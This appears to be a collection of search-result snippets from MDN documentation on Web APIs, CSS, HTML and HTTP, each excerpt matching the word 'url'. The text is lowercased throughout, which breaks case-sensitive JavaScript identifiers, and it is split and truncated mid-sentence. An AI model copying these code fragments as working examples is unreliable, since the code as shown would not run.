HTMLCanvasElement.mozGetAsFile() - Web APIs
html <canvas id="canvas" width="100" height="100"></canvas> <p><a href="#" id="link">click here to try out mozgetasfile()</a>.</p> javascript the following code uses mozgetasfile() to create a file object from the canvas and appends it as an image to the page by loading it as a data
url using the readasdata
url() method.
... then a new <img> element is created using the new data
url.
...); ctx.fillstyle = 'rgb(200, 0, 0)'; ctx.fillrect(10, 10, 55, 50); ctx.fillstyle = 'rgba(0, 0, 200, 0.5)'; ctx.fillrect(30, 30, 55, 50); var link = document.getelementbyid('link'); link.addeventlistener('click', copy); } function copy() { var canvas = document.getelementbyid('canvas'); var f = canvas.mozgetasfile('test.png'); var reader = new filereader(); reader.readasdata
url(f); reader.onloadend = function() { var newimg = document.createelement('img'); newimg.src = reader.result; document.body.appendchild(newimg); } } window.addeventlistener('load', draw); specifications not part of any specification.
HTMLHyperlinkElementUtils.search - Web APIs
the htmlhyperlinkelementutils.search property is a search string, also called a query string, that is usvstring containing a '?' followed by the parameters of the
url.
... modern browsers provide
urlsearchparams and
url.searchparams to make it easy to parse out the parameters from the querystring.
... syntax string = object.search; object.search = string; examples // let an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new
urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.search' in that specification.
HTMLInputElement - Web APIs
this attribute applies when the value of the type attribute is text, search, tel,
url or email; otherwise it is ignored.
...this attribute applies when the value of the type attribute is text, search, tel,
url or email; otherwise it is ignored.
...applies only when type is set to text, search, tel,
url, email, or password; otherwise it is ignored.
HTMLMediaElement.src - Web APIs
the htmlmediaelement.src property reflects the value of the html media element's src attribute, which indicates the
url of a media resource to use in the element.
... note: the best way to know the
url of the media resource currently in active use in this element is to look at the value of the currentsrc attribute, which also takes into account selection of a best or preferred media resource from a list provided in an htmlsourceelement (which represents a <source> element).
... syntax var media
url = htmlmediaelement.src; value a usvstring object containing the
url of a media resource to use in the element; this property reflects the value of the html element's src attribute.
HTMLScriptElement - Web APIs
htmlscriptelement.src is a domstring representing the
url of an external script.
... function loaderror(oerror) { throw new urierror("the script " + oerror.target.src + " didn't load correctly."); } function prefixscript(
url, onloadfunction) { var newscript = document.createelement("script"); newscript.onerror = loaderror; if (onloadfunction) { newscript.onload = onloadfunction; } document.currentscript.parentnode.insertbefore(newscript, document.currentscript); newscript.src =
url; } this next function, instead of prepending the new scripts immediately before the document.currentscript element, appends th...
... function loaderror(oerror) { throw new urierror("the script " + oerror.target.src + " didn't load correctly."); } function affixscripttohead(
url, onloadfunction) { var newscript = document.createelement("script"); newscript.onerror = loaderror; if (onloadfunction) { newscript.onload = onloadfunction; } document.head.appendchild(newscript); newscript.src =
url; } sample usage: affixscripttohead("myscript1.js"); affixscripttohead("myscript2.js", function () { alert("the script \"myscript2.js\" has been correctly loaded."); }); specifications specification status comment html living standardthe definition of 'htmlscriptelement' in that specification.
Using microtasks in JavaScript with queueMicrotask() - Web APIs
consider code such as this: customelement.prototype.getdata =
url => { if (this.cache[
url]) { this.data = this.cache[
url]; this.dispatchevent(new event("load")); } else { fetch(
url).then(result => result.arraybuffer()).then(data => { this.cache[
url] = data; this.data = data; this.dispatchevent(new event("load")); }); } }; the problem introduced here is that by using a task in one branch of the if...else statement (in the...
... we can ensure consistent ordering of these operations by using a microtask in the if clause to balance the two clauses: customelement.prototype.getdata =
url => { if (this.cache[
url]) { queuemicrotask(() => { this.data = this.cache[
url]; this.dispatchevent(new event("load")); }); } else { fetch(
url).then(result => result.arraybuffer()).then(data => { this.cache[
url] = data; this.data = data; this.dispatchevent(new event("load")); }); } }; this balances the clauses by having both situations handle th...
... const messagequeue = []; let sendmessage = message => { messagequeue.push(message); if (messagequeue.length === 1) { queuemicrotask(() => { const json = json.stringify(messagequeue); messagequeue.length = 0; fetch("
url-of-receiver", json); }); } }; when sendmessage() gets called, the specified message is first pushed onto the message queue array.
History - Web APIs
internet explorer lets you specify a string, instead of an integer, to go to a specific
url in the history list.
... pushstate() pushes the given data onto the session history stack with the specified title (and, if provided,
url).
... replacestate() updates the most recent entry on the history stack to have the specified data, title, and, if provided,
url.
startSoftwareUpdate - Web APIs
summary triggers the downloading and installation of the software at the specified
url.
... method of installtrigger object syntax boolean startsoftwareupdate ( string
url); parameters the startsoftwareupdate method has the following parameter:
url a uniform resource locator specifying the location of the xpi file containing the software.
... description the startsoftwareupdate method triggers a software download and install from the specified
url.
Location: assign() - Web APIs
the location.assign() method causes the window to load and display the document at the
url specified.
... if the provided
url is not valid, a domexception of the syntax_error type is thrown.
... syntax location.assign(
url); parameters
url is a domstring containing the
url of the page to navigate to.
Location: replace() - Web APIs
the replace() method of the location interface replaces the current resource with the one at the provided
url.
... if the provided
url is not valid, a domexception of the syntax_error type is thrown.
... syntax object.replace(
url); parameters
url is a domstring containing the
url of the page to navigate to.
Location: search - Web APIs
the search property of the location interface is a search string, also called a query string; that is, a usvstring containing a '?' followed by the parameters of the
url.
... modern browsers provide
urlsearchparams and
url.searchparams to make it easy to parse out the parameters from the querystring.
... syntax string = object.search; object.search = string; examples // let an <a id="myanchor" href="https://developer.mozilla.org/docs/location.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new
urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standardthe definition of 'search' in that specification.
Using the MediaStream Recording API - Web APIs
ainer.classlist.add('clip'); audio.setattribute('controls', ''); deletebutton.innerhtml = "delete"; cliplabel.innerhtml = clipname; clipcontainer.appendchild(audio); clipcontainer.appendchild(cliplabel); clipcontainer.appendchild(deletebutton); soundclips.appendchild(clipcontainer); const blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); chunks = []; const audio
url = window.
url.createobject
url(blob); audio.src = audio
url; deletebutton.onclick = function(e) { let evttgt = e.target; evttgt.parentnode.parentnode.removechild(evttgt.parentnode); } } let's go through the above code and look at what's happening.
... <article class="clip"> <audio controls></audio> <p>your clip name</p> <button>delete</button> </article> after that, we create a combined blob out of the recorded audio chunks, and create an object
url pointing to it, using window.
url.createobject
url(blob).
... we then set the value of the <audio> element's src attribute to the object
url, so that when the play button is pressed on the audio player, it will play the blob.
MerchantValidationEvent - Web APIs
this may be either one of the standard payment method identifier strings or a
url that both identifies and handles requests for the payment handler, such as https://apple.com/apple-pay.
... merchantvalidationevent.validation
url secure context a usvstring specifying a
url from which the site or app can fetch payment handler specific validation information.
... methods merchantvalidationevent.complete() secure context pass the data retrieved from the
url specified by validation
url into complete() to complete the validation process for the paymentrequest.
Navigator.sendBeacon() - Web APIs
syntax navigator.sendbeacon(
url, data); parameters
url the
url that will receive the data.
... data a arraybuffer, arraybufferview, blob, domstring, formdata, or
urlsearchparams object containing the data to send.
... historically, this was addressed with some of the following workarounds to delay the page unload long enough to send data to some
url: submitting the data with a blocking synchronous xmlhttprequest call in unload or beforeunload event handlers.
Navigator.share() - Web APIs
available options are:
url: a usvstring representing a
url to be shared.
... examples in our web share test (see the source code) there is a button which, when clicked, invokes the web share api to share mdn's
url.
... the javascript looks like this: const sharedata = { title: 'mdn', text: 'learn web development on mdn!',
url: 'https://developer.mozilla.org', } const btn = document.queryselector('button'); const resultpara = document.queryselector('.result'); // must be triggered some kind of "user activation" btn.addeventlistener('click', async () => { try { await navigator.share(sharedata) resultpara.textcontent = 'mdn shared successfully' } catch(err) { resultpara.textcontent = 'error: ' + err } }); sharing files to share files, first test for and call navigator.canshare().
Notification.Notification() - Web APIs
badge: a usvstring containing the
url of the image used to represent the notification when there isn't enough space to display the notification itself.
... icon: a usvstring containing the
url of an icon to be displayed in the notification.
... image: a usvstring containing the
url of an image to be displayed in the notification.
Notification - Web APIs
notification.badge read only the
url of the image used to represent the notification when there is not enough space to display the notification itself.
... notification.icon read only the
url of the image used as an icon of the notification as specified in the constructor's options parameter.
... notification.image read only the
url of an image to be displayed as part of the notification, as specified in the constructor's options parameter.
RTCConfiguration.iceServers - Web APIs
each object must at least have an
urls property, which is an array of one or more strings, each providing one server's
url.
...the second server has two
urls: stun:stun.example.com and stun:stun-1.example.com.
... var configuration = { iceservers: [{
urls: "stun:stun.services.mozilla.com", username: "louis@mozilla.com", credential: "webrtcdemo" }, {
urls: ["stun:stun.example.com", "stun:stun-1.example.com"] }] }; var pc = new rtcpeerconnection(configuration); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcconfiguration.iceservers' in that specification.
RTCPeerConnection: icecandidateerror event - Web APIs
the 701 error is fired only once per server
url from the list of available stun or turn servers provided when creating the rtcpeerconnection.
... when this happens, the server
url and the error message are passed to a function called reportconnectfail() to log or output the connection failure.
... pc.addeventlistener("icecandidateerror", (event) => { if (event.errorcode === 701) { reportconnectfail(event.
url, event.errortext); } }); note that if multiple stun and/or turn servers are provided when creating the connection, this error may happen more than once, if more than one of those servers fails.
RTCPeerConnection.setConfiguration() - Web APIs
exceptions invalidaccesserror one or more of the
urls specified in configuration.iceservers is a turn server, but complete login information is not provided (that is, either the rtciceserver.username or rtciceserver.credentials is missing).
... syntaxerror one or more of the
urls provided in the configuration.iceservers list is invalid.
... var restartconfig = { iceservers: [{
urls: "turn:asia.myturnserver.net", username: "allie@oopcode.com", credential: "topsecretpassword" }] }; mypeerconnection.setconfiguration(restartconfig); mypeerconnection.createoffer({"icerestart": true}).then(function(offer) { return mypeerconnection.setlocaldescription(offer); }) .then(function() { // send the offer to the other peer using the signaling server }) .catch(reporterror); first, a new rtcconfiguration is created, restartconfig, specifying the new ice server and its credentials.
Request - Web APIs
request.
url read only contains the
url of the request.
... examples in the following snippet, we create a new request using the request() constructor (for an image file in the same directory as the script), then return some property values of the request: const request = new request('https://www.mozilla.org/favicon.ico'); const
url = request.
url; const method = request.method; const credentials = request.credentials; you could then fetch this request by passing the request object in as a parameter to a windoworworkerglobalscope.fetch() call, for example: fetch(request) .then(response => response.blob()) .then(blob => { image.src =
url.createobject
url(blob); }); in the following snippet, we create a new request...
... using the request() constructor with some initial data and body content for an api request which need a body payload: const request = new request('https://example.com', {method: 'post', body: '{"foo": "bar"}'}); const
url = request.
url; const method = request.method; const credentials = request.credentials; const bodyused = request.bodyused; note: the body type can only be a blob, buffersource, formdata,
urlsearchparams, usvstring or readablestream type, so for adding a json object to the payload you need to stringify that object.
Response.redirect() - Web APIs
the redirect() method of the response interface returns a response resulting in a redirect to the specified
url.
... syntax var response = response.redirect(
url, status); parameters
url the
url that the new response is to originate from.
... typeerror the specified
url is invalid.
ServiceWorkerContainer.getRegistration() - Web APIs
the getregistration() method of the serviceworkercontainer interface gets a serviceworkerregistration object whose scope
url matches the provided document
url.
...}); parameters scope optional a unique identifier for a service worker registration — the scope
url of the registration object you want to return.
... this is usually a relative
url.
Using readable streams - Web APIs
for example, our simple stream pump example goes on to enqueue each chunk in a new, custom readablestream (we will find more about this in the next section), then create a new response out of it, consume it as a blob, create an object
url out of that blob using
url.createobject
url(), and then display it on screen in an <img> element, effectively creating a copy of the image we originally fetched.
... // when no more data needs to be consumed, close the stream if (done) { controller.close(); return; } // enqueue the next data chunk into our target stream controller.enqueue(value); return pump(); }); } } }) }) .then(stream => new response(stream)) .then(response => response.blob()) .then(blob =>
url.createobject
url(blob)) .then(
url => console.log(image.src =
url)) .catch(err => console.error(err)); let’s look in detail at how read() is used.
... .then(stream => new response(stream)) .then(response => response.blob()) .then(blob =>
url.createobject
url(blob)) .then(
url => console.log(image.src =
url)) .catch(err => console.error(err)); but a custom stream is still a readablestream instance, meaning you can attach a reader to it.
Taking still photos with WebRTC - Web APIs
that code looks like this: function clearphoto() { var context = canvas.getcontext('2d'); context.fillstyle = "#aaa"; context.fillrect(0, 0, canvas.width, canvas.height); var data = canvas.todata
url('image/png'); photo.setattribute('src', data); } we start by getting a reference to the hidden <canvas> element that we use for offscreen rendering.
...the code looks like this: function takepicture() { var context = canvas.getcontext('2d'); if (width && height) { canvas.width = width; canvas.height = height; context.drawimage(video, 0, 0, width, height); var data = canvas.todata
url('image/png'); photo.setattribute('src', data); } else { clearphoto(); } } as is the case any time we need to work with the contents of a canvas, we start by getting the 2d drawing context for the hidden canvas.
... once the canvas contains the captured image, we convert it to png format by calling htmlcanvaselement.todata
url() on it; finally, we call photo.setattribute() to make our captured still box display the image.
Functions and classes available to Web Workers - Web APIs
20 (20) no support no support no support
url workers can use the static methods
url.createobject
url and
url.revokeobject
url with blob objects accesible to the worker.
... workers can also create a new
url using the
url() constructor and call any normal method on the returned object.
... 21 (21) and 26 (26) for
url() constructor no support no support no support webgl with offscreencanvas webgl (web graphics library) is a javascript api for rendering interactive 3d and 2d graphics within any compatible web browser without the use of plug-ins.
window.location - Web APIs
syntax var oldlocation = location; location = newlocation; examples basic example alert(location); // alerts "/docs/web/api/window/location" example #1: navigate to a new page whenever a new value is assigned to the location object, a document will be loaded using the
url as if location.assign() had been called with the modified
url.
... the current page from the server location.reload(true); example #3 consider the following example, which will reload the page by using the replace() method to insert the value of location.pathname into the hash: function reloadpagewithhash() { var initialpage = location.pathname; location.replace('http://example.com/#' + initialpage); } example #4: display the properties of the current
url in an alert dialog: function showloc() { var olocation = location, alog = ["property (typeof): value", "location (" + (typeof olocation) + "): " + olocation ]; for (var sprop in olocation){ alog.push(sprop + " (" + (typeof olocation[sprop]) + "): " + (olocation[sprop] || "n/a")); } alert(alog.join("\n")); } // in html: <button onclick="showloc();">show location properties</button> e...
...xample #5: send a string of data to the server by modifying the search property: function senddata (sdata) { location.search = sdata; } // in html: <button onclick="senddata('some data');">send data</button> the current
url with "?some%20data" appended is sent to the server (if no action is taken by the server, the current document is reloaded with the modified search string).
Window - Web APIs
window.location gets/sets the location, or current
url, of the window object.
... windoweventhandlers.onhashchange an event handler property for hashchange events on the window; called when the part of the
url after the hash mark ("#") changes.
... also available via the ongamepaddisconnected property history events hashchange fired when the fragment identifier of the
url has changed (the part of the
url beginning with and following the # symbol).
WindowEventHandlers.onhashchange - Web APIs
'location1' : 'location2'; } the hashchange event the dispatched hashchange event has the following properties: field type description new
url domstring the new
url to which the window is navigating.
... old
url domstring the previous
url from which the window was navigated.
... polyfill for event.new
url and event.old
url // let this snippet run before your hashchange event binding code if (!window.hashchangeevent)(function(){ var last
url = document.
url; window.addeventlistener("hashchange", function(event){ object.defineproperty(event, "old
url", {enumerable:true,configurable:true,value:last
url}); object.defineproperty(event, "new
url", {enumerable:true,configurable:true,value:document.
url}); last
url = document.
url; }); }()); specifications specification status comment html living standardthe definition of 'onhashchange' in that specification.
Worklet.addModule() - Web APIs
syntax addpromise = worklet.addmodule(module
url); addpromise = worklet.addmodule(module
url, options); parameters module
url a string containing the
url of a javascript file with the module to add.
... return value a promise that resolves once the module from the given
url has been added.
... syntaxerror the specified module
url is invalid.
XDomainRequest.open() - Web APIs
opens an xdomainrequest which is configured to use a given method (get/post) and
url.
... syntax xdr.open(method,
url); parameters method the http method to use for the request.
... (get or post)
url the
url to which to send the request.
XDomainRequest - Web APIs
methods xdomainrequest.open() opens the request, specifing the method (get/post) and
url.
... the origin's security protocol must match that of the requested
url.
... the requested
url's server must have the access-control-allow-origin header set to either all ("*") or to include the origin of the request.
XMLHttpRequest.open() - Web APIs
syntax xmlhttprequest.open(method,
url[, async[, user[, password]]]) parameters method the http request method to use, such as "get", "post", "put", "delete", etc.
... ignored for non-http(s)
urls.
...
url a domstring representing the
url to send the request to.
:target - CSS: Cascading Style Sheets
the :target css pseudo-class represents a unique element (the target element) with an id matching the
url's fragment.
... /* selects an element with an id matching the current
url's fragment */ :target { border: 2px solid black; } for example, the following
url has a fragment (denoted by the # sign) that points to an element called section2: http://www.example.com/index.html#section2 the following element would be selected by a :target selector when the current
url is equal to the above: <section id="section2">example</section> syntax :target examples a table of contents the :target pseudo-class can be used to highlight the portion of a page that has been linked to from a table of contents.
... html <h3>table of contents</h3> <ol> <li><a href="#p1">jump to the first paragraph!</a></li> <li><a href="#p2">jump to the second paragraph!</a></li> <li><a href="#nowhere">this link goes nowhere, because the target doesn't exist.</a></li> </ol> <h3>my fun article</h3> <p id="p1">you can target <i>this paragraph</i> using a
url fragment.
additive-symbols - CSS: Cascading Style Sheets
syntax additive-symbols: 3 "0"; additive-symbols: 3 "0", 2 "\2e\20"; additive-symbols: 3 "0", 2
url(symbol.png); when the system descriptor is cyclic, numeric, alphabetic, symbolic, or fixed, use the symbols descriptor instead of additive-symbols.
... formal definition related at-rule@counter-styleinitial valuen/acomputed valueas specified formal syntax [ <integer> && <symbol> ]#where <symbol> = <string> | <image> | <custom-ident>where <image> = <
url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
...)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()>where <image-tags> = ltr | rtl<image-src> = <
url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
prefix - CSS: Cascading Style Sheets
syntax /* <symbol> values */ prefix: "»"; prefix: "page "; prefix:
url(bullet.png); values <symbol> specifies a <symbol> that is prepended to the marker representation.
... formal definition related at-rule@counter-styleinitial value"" (the empty string)computed valueas specified formal syntax <symbol>where <symbol> = <string> | <image> | <custom-ident>where <image> = <
url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
...)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()>where <image-tags> = ltr | rtl<image-src> = <
url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
suffix - CSS: Cascading Style Sheets
syntax /* <symbol> values */ suffix: ""; suffix: ") "; suffix:
url(bullet.png); values <symbol> specifies a <symbol> that is appended to the marker representation.
..." (full stop followed by a space)computed valueas specified formal syntax <symbol>where <symbol> = <string> | <image> | <custom-ident>where <image> = <
url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
...)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()>where <image-tags> = ltr | rtl<image-src> = <
url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
symbols - CSS: Cascading Style Sheets
symbols: a b c d e; symbols: "\24b6" "\24b7" "\24b8" d e; symbols: "0" "1" "2" "4" "5" "6" "7" "8" "9"; symbols:
url('first.svg')
url('second.svg')
url('third.svg'); symbols: indic-numbers; the symbols descriptor must be specified when the value of the system descriptor is cyclic, numeric, alphabetic, symbolic, or fixed.
... formal definition related at-rule@counter-styleinitial valuen/acomputed valueas specified formal syntax <symbol>+where <symbol> = <string> | <image> | <custom-ident>where <image> = <
url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
...)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()>where <image-tags> = ltr | rtl<image-src> = <
url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
Shorthand properties - CSS: Cascading Style Sheets
therefore: background-color: red; background:
url(images/bg.gif) no-repeat left top; will not set the color of the background to red but to background-color's default, transparent, as the second rule has precedence.
... background-color: #000; background-image:
url(images/bg.gif); background-repeat: no-repeat; background-position: left top; ...
... can be shortened to just one declaration: background: #000
url(images/bg.gif) no-repeat left top; (the shorthand form is actually the equivalent of the longhand properties above plus background-attachment: scroll and, in css3, some additional properties.) see background for more detailed information, including css3 properties.
animation - CSS: Cascading Style Sheets
div class="animation a3"></div> </div> </div> </div> </div> html,body { height: 100%; box-sizing: border-box; } pre { margin-bottom: 0; } svg { width: 1.5em; height: 1.5em; } button { width: 27px; height: 27px; background-size: 16px; background-position: center; background-repeat: no-repeat; border-radius: 3px; cursor: pointer; } button.play { background-image:
url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c...
...13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#play'); } button.pause { background-image:
url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8...
...%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#pause'); } button.restart { background-image:
url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#restart'); } .grid {...
border-image-source - CSS: Cascading Style Sheets
syntax /* keyword value */ border-image-source: none; /* <image> values */ border-image-source:
url(image.jpg); border-image-source: linear-gradient(to top, red, yellow); /* global values */ border-image-source: inherit; border-image-source: initial; border-image-source: unset; values none no border image is used.
...it also applies to ::first-letter.inheritednocomputed valuenone or the image with its uri made absoluteanimation typediscrete formal syntax none | <image>where <image> = <
url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
...)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()>where <image-tags> = ltr | rtl<image-src> = <
url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
offset-path - CSS: Cascading Style Sheets
syntax /* default */ offset-path: none; /* function values */ offset-path: ray(45deg closest-side contain); /*
url */ offset-path:
url(#path); /* shapes */ offset-path: circle(50% at 25% 25%); offset-path: inset(50% 50% 50% 50%); offset-path: polygon(30% 0%, 70% 0%, 100% 50%, 30% 100%, 0% 70%, 0% 30%); offset-path: path('m 0,200 q 200,200 260,80 q 290,20 400,0 q 300,100 400,200'); /* geometry boxes */ offset-path: margin-box; offset-path: stroke-box; /* global values */ offset-path: inherit; offset-path: initial; offset-path: unset; values ray() taking up to three values, defines a path that is a line segment ...
...
url() references the id of an svg shape -- circle, ellipse, line, path, polygon, polyline, or rect -- using the shape's geometry as the path.
...] ) | <path()> | <
url> | [ <basic-shape> | <geometry-box> ]where <size> = closest-side | farthest-side | closest-corner | farthest-corner | <length> | <length-percentage>{2}<path()> = path( [ <fill-rule>, ]?
Challenge solutions - Developer guides
it also supports some more exotic color names like chartreuse, fuschia, or b
urlywood.
... solution add this rule to your stylesheet: p:before{ content:
url("yellow-pin.png"); } lists lower roman numerals challenge add a rule to your stylesheet, to number the oceans using roman numerals from i to v.
...in style4.css, add the following line at the beginning of the file: @import
url("style4_print.css") print; heading hover color challenge make the headings turn blue when the mouse pointer is over them.
The HTML autocomplete attribute - HTML: Hypertext Markup Language
"impp" a
url for an instant messaging protocol endpoint, such as "xmpp:username@example.net".
... "
url" a
url, such as a home page or company web site address as appropriate given the context of the other fields in the form.
... "photo" the
url of an image representing the person, company, or contact information given in the other fields in the form.
<area> - HTML: Hypertext Markup Language
its value is a valid
url.
... ping contains a space-separated list of
urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the background).
... "unsafe-
url" meaning that the referrer will include the origin and the path (but not the fragment, password, or username).
HTML elements reference - HTML: Hypertext Markup Language
element description <base> the html <base> element specifies the base
url to use for all relative
urls in a document.
...a
url for the source of the quotation may be given using the cite attribute, while a text representation of the source can be given using the <cite> element.
... element description <a> the html <a> element (or anchor element), with its href attribute, creates a hyperlink to web pages, files, email addresses, locations in the same page, or anything else a
url can address.
itemtype - HTML: Hypertext Markup Language
the global attribute itemtype specifies the
url of the vocabulary that will be used to define itemprop's (item properties) in the data structure.
...in this case, musicevent would be the
url used by itemtype, with startdate and location as itemprop's which musicevent defines.
... note: more about itemtype attributes can be found at http://schema.org/thing the itemtype attribute must have a value that is an unordered set of unique tokens which are case-sensitive, each is a valid and absolute
url, and all defined to use the same vocabulary.
Microdata - HTML: Hypertext Markup Language
in this case, schema.org music event would be the
url used by itemtype and startdate and location would be itemprop's that schema.org music event defines.
...itemtype is a valid
url of a vocabulary (such as schema.org) that describes the item and its properties context.
... itemtype – specifies the
url of the vocabulary that will be used to define itemprop's (item properties) in the data structure.
Reason: CORS request not HTTP - HTTP
cors requests may only use the https
url scheme, but the
url specified by the request is of a different type.
... this often occurs if the
url specifies a local file, using a file:///
url.
... to fix this problem, simply make sure you use https
urls when issuing requests involving cors, such as xmlhttprequest, fetch apis, web fonts (@font-face), and webgl textures, and xsl stylesheets.
Clear-Site-Data - HTTP
the browser cache, see http caching) for the origin of the response
url.
... "cookies" indicates that the server wishes to remove all cookies for the origin of the response
url.
... "storage" indicates that the server wishes to remove all dom storage for the origin of the response
url.
CSP: upgrade-insecure-requests - HTTP
the http content-security-policy (csp) upgrade-insecure-requests directive instructs user agents to treat all of a site's insecure
urls (those served over http) as though they have been replaced with secure
urls (those served over https).
... this directive is intended for web sites with large numbers of insecure legacy
urls that need to be rewritten.
... <img src="http://example.com/image.png"> <img src="http://not-example.com/image.png"> these
urls will be rewritten before the request is made, meaning that no insecure requests will hit the network.
Link prefetching FAQ - HTTP
yes, only http:// (and, starting in gecko 1.9.1 https://)
urls can be prefetched.
...limiting prefetching to only
urls from the the same server would not offer any increased browser security.
... privacy implications along with the referral and
url-following implications already mentioned above, prefetching will generally cause the cookies of the prefetched site to be accessed.
HTTP Messages - HTTP
the request target, usually a
url, or the absolute path of the protocol, port, and domain are usually characterized by the request context.
... post / http/1.1 get /background.png http/1.0 head /test.html?query=alibaba http/1.1 options /anypage.html http/1.0 a complete
url, known as the absolute form, is mostly used with get when connected to a proxy.
... get http://developer.mozilla.org/docs/web/http/messages http/1.1 the authority component of a
url, consisting of the domain name and optionally the port (prefixed by a ':'), is called the authority form.
HEAD - HTTP
the http head method requests the headers that would be returned if the head request's
url was instead requested with the http get method.
... for example, if a
url might produce a large download, a head request could read its content-length header to check the filesize without actually downloading the file.
... if the response to a head request shows that a cached
url response is now outdated, the cached copy is invalidated even if no get request was made.
Network Error Logging - HTTP
the reporting group referenced above is defined in the usual manner within the report-to header, for example: report-to: { "group": "nel", "max_age": 31556952, "endpoints": [ { "
url": "https://example.com/csp-reports" } ] } error reports in these examples, the entire reporting api payload is shown.
... http 400 (bad request) response { "age": 20, "type": "network-error", "
url": "https://example.com/previous-page", "body": { "elapsed_time": 338, "method": "post", "phase": "application", "protocol": "http/1.1", "referrer": "https://example.com/previous-page", "sampling_fraction": 1, "server_ip": "137.205.28.66", "status_code": 400, "type": "http.error", "
